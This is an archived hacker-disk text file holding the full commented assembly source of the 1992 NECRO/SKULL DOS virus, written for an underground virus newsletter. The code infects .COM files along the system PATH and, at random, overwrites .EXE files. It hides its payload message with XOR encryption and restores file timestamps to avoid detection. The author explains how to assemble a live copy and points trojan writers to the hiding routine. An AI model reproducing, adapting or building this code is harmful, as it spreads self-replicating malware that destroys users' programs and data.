home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hacker Chronicles 2
/
HACKER2.BIN
/
286.NECRO.A86
< prev
next >
Wrap
Text File
|
1993-01-03
|
22KB
|
396 lines
; A86 SOURCE CODE for:
;
; ++===================================================++
; || NECRO (A.K.A. 'SKULL' virus) ||
; || The 666 byte Dual Replicator ||
; || DEC 1992 by Primal Fury, Lehigh Valley, PA ||
; ++===================================================++
; -=Prepared for Crypt Newsletter 11=-
;
; Here's a virus that's actually two viruses in one. The main virus is a
; a direct action, appending .COM infector. It will search the system path
; for .COMs to infect, and may infect files on the path in preference to
; to those in the current directory (if no path is set, it stays in the
; current directory). Roughly one out of every eight infections (on a ran-
; dom basis) will be non-standard. In these infections, NECRO will toggle to
; an overwriting .EXE infector.
;
;
; This .EXE infector is composed of much of the same code as the
; COM infector -- the virus alternates between the two modes of infection
; using a 'master switch' which is hooked up to a simple randomization
; engine. The master switch, when thrown, trips a series of auxilliary
; switches which alter the virus' behavior. This saves on bytes and is
; therefore much better than having the virus drop an entirely independent
; .EXE overwriter. I hope to expand upon this 'self-programming' concept
; in future viruses.
; Infected .COM's should function as intended after the viral code appended to
; them has finished doing its thing. But infected .EXE's are ruined. These
; (provided they are under about 64K in length) will, when executed, pass
; their illness on to the next uninfected .EXE within the current directory,
; displaying the following graphic & message:
; ▄▄████████▄▄
; ▄█████▓████████
;▐█▓█████████████▌ You cant execute this file:
;▐█████▓▓███▀ █ Its already dead!
; ██████▓▓██▄▄▄█▀
; ████▓▓▀▓████▌
; ▀▀██▓▓▄▐▓███▌
; ▓▓▌▌▌
; SKULL will then return the baffled user to the DOS prompt. I leave it to
; your imagination to picture the consternation on the novice's face
; as he tries to isolate the source of this overwriting infection which
; seems to pop up again and again in different directories. A very
; observant user may notice a file length increase of exactly 666 bytes in
; infected .COM's. Infected .EXE's will not increase in length unless they
; are less than ~200 bytes to begin with. Note that overwritten .EXE's larger
; than 64K will fail to load and will be non-infectious. Like Popoolar
; Science, the virus renders these programs into a .COM-like in structure.
; DOS will NOT execute these files. In any case, the programs are ruined
; by SKULL. As of this release, NECRO avoids files that are read-only or
; hidden, so these files are be safe from the virus (for now...)
; CREDITS: DARK ANGEL -- for his COM infector replicatory code. (D.A.)
; NOWHERE MAN -- for his VCL 1.0's path-searching routine. (N.M.)
;
;
; Except where noted, I have commented the code with the novice
; programmer in mind. In the places so noted, D.A.'s and N.M.'s com-
; ments, supplied from VCL 1.0 and PS-MPC assembly libraries, have been
; left intact.
; To assemble, use Isaacson's A86 to generate a .COMfile directly from
; this listing. You will have a live NECRO launcher. MASM/TASM
; compatible assemblers will require the addition of a declarative pair.
;
; Partial viral signature suitable for loading into TBScan's VIRSCAN.DAT,
; SCAN, or F-PROT 2.0x:
; [Necro]
; A9 01 00 74 29 E8 6A 00 8C C8 8E D8 8E C0 32 C0
Start: db 0e9h ; jump to find_start
dw 0
Find_start: call next ;common technique to allow virus to
next: pop bp ;find its own code. On exit, bp
sub bp, offset next ;points to start of code.
lea si, [bp+offset stuff] ;Prepare to restore orig. 3 bytes.
mov di, 100h ;push 100h, where all COMs start in
push di ;memory, & where control will be
;returned to host file.
movsw ;restore the 3 bytes formerly relo-
movsb ;cated by the virus upon infection.
mov di,bp ;point DI to start of virus.
lea dx, [bp+offset dta] ;set new Disk Transfer Address, so
call set_dta ;virus won't fuck up original.
call search_files ;call path-search/infection routine.
jmp quit ;when done, return control to
;host file.
;Nowhere Man's VCL 1.0 path search routine, slightly modified for
;compatibility with Dark Angel's code, and with 'master infection-mode
;switch' added. N.M.'s original comments have been retained for your
;enlightenment.
search_files:
mov bx,di ; BX points to the virus
push bp ; Save BP
mov byte ptr [bp+offset pathstore],'\' ;Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp+offset pathstore+1] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop:
cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp+offset pathstore+65] ; DX points to the directory
int 021h
;The Master Switch, tied whimsically to the system clock:
mov ah,2ch ;DOS get system time.
int 21h ;
cmp dl,13 ;is 1/100th second > 13?
jg call_infector ;if so, stay in COM infector
;mode (the default).
mov si,3 ;throw switch for EXE infect.
;back to Nowhere Man's code:
call_infector:
push di
call find_files ; Try to infect a file.
pop di
jnc done_searching ; If successful, exit
jmp short traversal_loop ; Keep checking the PATH
done_searching:
mov ah,03Bh ; DOS change directory function
lea dx,[bp+offset pathstore] ; DX points to old directory
int 021h
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not, exit
stc ; Set carry flag for failure
at_least_tried:
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
traverse_path:
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path:
lea si,[bx + ath_string] ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4:
lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [bx + path_ad],di ; Save the PATH address
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
ret ; Return to caller
ath_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
found_subdir:
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
lea di,[bp+offset pathstore+65] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir:
lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one:
xor si,si ; Zero SI to signal completion
moved_one:
mov word ptr es:[bx + path_ad],si ; Store SI in the path address
ret ; Return to caller
;O.K. -- Now here's an important 'architectural' point: The following
;code (down to the next inset) will never be executed within the COM
;appender (that viral code jumps over it). It will, however be the first
;thing executed within overwritten EXE files. Why? Because in EXE infec-
;tion mode, everything from EXFECT on down (but nothing previous) is
;written over the beginning of the EXE host file.
exfect: call next_two ;Here again we see the old trick
;for pointing BP to start of
next_two: pop bp ;viral code. (possibly should
sub bp, offset next_two ;have been subroutined [?]).
mov si,3 ;throw master switch for EXE
;infection, so infection code
;below knows to use that mode!
lea dx,[bp+offset dta] ;set DTA: This would normally
call set_dta ;be utterly ridiculous (!) in an
;overwriting virus but is used
;here to maintain compatibility
;with the infection code.
call find_files ;try to infect another EXE.
jmp prequit ;display message & quit to DOS.
;Now we're back to Dark Angel's code, expanded to save & restore file
;date/time-stamp, and of course to accomodate the new EXE overwriting code
;and infection-mode 'switching system'. This is where infection actually
;takes place.
find_files:
push bp ;for compatibility with path-search.
mov ah, 4eh ;phunction phor phinding phirst phile
;that phits phile-mask.
tryanother:
lea dx, [bx+com_mask] ;by default, look for a .COM extension.
cmp si, 3 ;is the EXE infector switch thrown?
jne short look ;if not go on, else qeue up '*.EXE' mask
lea dx, [bp+exemask] ;in place of '*.COM'.
look:
xor cx, cx ;attribute mask - find only normal
int 21h ;attributes.
jnc open_file ;Have we run out of candidates in this
pop bp ;directory? If not go on, else return.
ret ;note: a candidate file matches the file
;mask & has normal attributes.
open_file:
mov ax, 3D02h ;DOS open file function.
lea dx, [bp+offset dta+30] ;get file name out of DTA (put there
;for us by the 4eh or 4fh function).
int 21h
xchg ax, bx
mov ah, 3fh ;read the first 3 bytes of file & put
lea dx, [bp+stuff] ;them in 'stuff' buffer, where we can
mov cx, 3 ;inspect them for previous infection.
int 21h
cmp si,3 ;is the EXE infector switch thrown?
jne short comcheck ;if not, use the COM file checker.
mov di,dx ;otherwise, check EXE for infection.
cmp byte ptr [di], 4dh ;is the first byte of the EXE an 'M'?
jne short searchloop ;no? then already fucked. Keep looking.
jmp infect_file ;otherwise let's infect it.
comcheck: ;DARK ANGEL'S COMMENTS:
mov ax, word ptr [bp+dta+26] ;"ax = filesize
mov cx, word ptr [bp+stuff+1] ;jmp location
add cx, eov - find_start + 3 ;convert to filesize
cmp ax, cx ;if same, already infected
jnz short infect_file ;so quit out of here"
searchloop:
call close ;close the file.
mov ah, 4fh ;DOS 'find next file' function.
jmp short tryanother ;go back up & try to find new victim.
infect_file:
mov cx, word ptr [bp+dta+22] ;Read file date & time
mov dx, word ptr [bp+dta+24] ;stamps from DTA & store
push cx ;them for retrieval after
push dx ;infection is complete.
cmp si, 3 ;branch if this is to be
jne short comfect ;a COM infection. other-
;wise, we now replicate the
;EXE overwriting virus.
xor al, al ;go to the beginning of
call f_ptr ;the file.
mov ah, 40h ;write to file function.
mov cx, eov - exfect ;write EXFECT through EOV
lea dx, [bp+exfect] ;to the EXE file. [another
int 21h ;EXE is now our slave.]
jmp short finishfect ;now, finish up.
comfect: ;COM infection routine.
;SAYETH DARK ANGEL:
;"Calculate the offset of the jmp.
sub ax, 3 ;ax = filesize - 3"
mov word ptr [bp+writebuffer], ax ;store jump offset in buffer.
xor al, al ;null AL (write will start
call f_ptr ;at byte 0 of file. move
;file pointer there).
mov ah, 40h ;write to file function.
mov cx, 3 ;we'll write 3 bytes, namely
lea dx, [bp+e9] ;the contents of E9 buffer.
int 21h ;victim file now begins with
;a jump to the viral code!
mov al, 2 ;now move file pointer to
call f_ptr ;the end of the victim file.
mov ah, 40h ;write to file again.
mov cx, eov - find_start ;Namely, write the main
lea dx, [bp+find_start] ;viral code.
int 21h ;virus is now appended to
;the file.
finishfect: ;now to clean up a little.
pop dx ;get old file date/time-
pop cx ;stamp off of stack.
mov ax, 5701h ;DOS set file date/time
int 21h ;stamp. (Otherwise, they
;would be left set to date
;& time of infection).
pop bp ;path-searcher will want
;it's old bit pointer back.
close:
mov ah, 3eh ;DOS close file function.
int 21h
ret ;return to CALL_INFECTOR.
;end of infection routine.
primal db "╜╬┼├╥╧╜íáΓ∙á╨≥Θφß∞á╞⌡≥∙" ;an encrypted text
;string, mainly here to pad appended virus length out to 666
;bytes. 'Tight Code' purists will shit a brick over this.
;the COM infector never uses the PREQUIT routine below. Only the EXFECT
;routine (which is only used by the EXE overwriting virus, for reasons ex-
;plained in the inset above EXFECT) jumps to it. It's the EXE infector's
;message payload. PREQUIT uses a simple encryption/decryption mechanism
;to keep the message hidden from file viewers & such. It may have been
;better (albeit a bit costlier in speed & bytes) to encrypt the entire
;virus (preferably, with polymorphic capabilities tossed in). I hope to
;make this mod in my next variant. But for now, trojan programmers might
;find this routine of interest:
prequit:
lea si,[bp+offset msg] ;queue up message to be displayed.
mov cx,204 ;CX holds length of message.
xorloop: ;loop will decrypt & display message.
lodsb ;load next byte of message into AL.
xor al,128 ;XOR the byte by our key.
mov ah,0eh ;BIOS 'teletype' write to screen (the
int 10h ;the character is already in AL).
loop xorloop ;loop until CX's # of bytes processed.
mov ax,4c00h ;exit to DOS function, will return
int 21h ;user to DOS prompt.
; Here's the encrypted version of our 'can't execute' message. Note that
; this odd byte pattern may look suspicious to someone in the know using a
; file viewer, but then, so would the unencrypted file_masks and "PATH="!
msg db "ìèáááá\\[[[[[[[[\\ìèáá\[[[[[2[[[[[[[[ìèá^[2[[[[[[[["
db "[[[[[]ááá┘∩⌡áπßε⌠áσ°σπ⌡⌠σá⌠ΦΘ≤áµΘ∞σ║ìèá^[[[[[22[[[_"
db "ááá[áááá╔⌠≤áß∞≥σßΣ∙áΣσßΣíìèáá[[[[[[22[[\\\[_ìèááá[["
db "[[22_2[[[[]ìèáááá__[[22\^2[[[]ìèáááááááááááá22]]]ìè"
; D.A. SAYS: "Restore the DTA and return control to the original program
quit: mov dx, 80h ;Restore current DTA to
;the default @ PSP:80h
set_dta:
mov ah, 1ah ;Set disk transfer address"
int 21h ;so, let it be written,
ret ;so, let it be done.
f_ptr: mov ah, 42h ;DOS move file pointer
xor cx, cx ;DARK ANGEL:
cwd ;"equivalent to: xor dx, dx"
int 21h
ret
exemask db "*.EXE",0 ;file-mask for EXEs.
; All commentary from here down is the DARKANGELMEISTER's. Hope you found
; the code useful and/or informative. P.F. signing off...
; Original three bytes of the infected file
; Currently holds a INT 20h instruction and a null byte
stuff db 0cdh, 20h, 0
e9 db 0e9h
eov equ $ ; End of the virus
; The following variables are stored in the heap space (the area between
; the stack and the code) and are not part of the virus that is written
; to files.
writebuffer dw ? ; Scratch area holding the
; JMP offset
dta db 42 dup (?)
pathstore db 135 dup (?)